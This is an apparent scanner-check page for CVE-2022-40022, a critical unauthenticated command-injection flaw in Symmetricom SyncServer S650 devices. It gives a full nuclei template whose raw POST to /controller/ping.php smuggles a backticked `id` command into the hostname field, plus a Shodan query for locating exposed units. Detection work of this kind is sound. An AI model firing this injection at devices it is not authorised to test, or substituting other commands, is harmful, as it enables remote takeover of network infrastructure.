Symmetricom SyncServer Unauthenticated - Remote Command Execution

criticalseverity

9.8CVSS score

92.5%likelihood of exploitation, next 30 days

100%of all CVEs are less likely

Readycheck to confirm it

Microchip Technology (Microsemi) SyncServer S650 was discovered to contain a command injection vulnerability.

Impact

Successful exploitation of this vulnerability could allow an attacker to execute arbitrary commands on the affected device.

Fix

Apply the latest security patches or firmware updates provided by the vendor to mitigate this vulnerability.

How to confirm it

Send: POST /controller/ping.php
Positive when: matches /uid=([0-9(a-z)]+)/ AND contains in header "text/html" AND status 302 AND not contains in header "cloudflare"

Run it with nuclei: nuclei -id CVE-2022-40022 -u <target>

The full check

id: CVE-2022-40022

info:
  name: Symmetricom SyncServer Unauthenticated - Remote Command Execution
  author: DhiyaneshDK,mielverkerken
  severity: critical
  description: |
    Microchip Technology (Microsemi) SyncServer S650 was discovered to contain a command injection vulnerability.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary commands on the affected device.
  remediation: |
    Apply the latest security patches or firmware updates provided by the vendor to mitigate this vulnerability.
  reference:
    - http://packetstormsecurity.com/files/172907/Symmetricom-SyncServer-Unauthenticated-Remote-Command-Execution.html
    - https://nvd.nist.gov/vuln/detail/CVE-2022-40022
    - https://www.microsemi.com/campaigns/network-time-servers/S650p/%3Fgd%3D1&id=5&gclid=Cj0KCQjwjbyYBhCdARIsAArC6LL-202ej5YfDB5lMIMSZ2735qjo5yaj2i-PrvLv2Cnh_kIJtFJ0oF8aAlMpEALw_wcB
    - https://www.microsemi.com/campaigns/network-time-servers/syncserver-s600/?url=
    - https://www.microsemi.com/document-portal/doc_download/135737-datasheet-syncserver-s650
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2022-40022
    cwe-id: CWE-77
    epss-score: 0.92472
    epss-percentile: 0.99826
    cpe: cpe:2.3:h:microchip:syncserver_s650:-:*:*:*:*:*:*:*
  metadata:
    verified: "true"
    max-request: 1
    vendor: microchip
    product: syncserver_s650
    shodan-query: html:"Symmetricom SyncServer"
  tags: cve,cve2022,packetstorm,syncserver,rce,unauth,microchip,vkev,vuln

http:
  - raw:
      - |
        POST /controller/ping.php HTTP/1.1
        Host: {{Hostname}}
        Origin: {{RootURL}}
        Content-Type: application/x-www-form-urlencoded
        Referer: {{RootURL}}/controller/ping.php

        currentTab=ping&refreshMode=&ethDirty=false&snmpCfgDirty=false&snmpTrapDirty=false&pingDirty=false&hostname=%60id%60&port=eth0&pingType=ping

    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - "uid=([0-9(a-z)]+)"

      - type: word
        part: header
        words:
          - "text/html"

      - type: status
        status:
          - 302

      - type: word
        part: header
        words:
          - "cloudflare"
        negative: true

References

Use this check only on systems you are authorised to test. Where the data comes from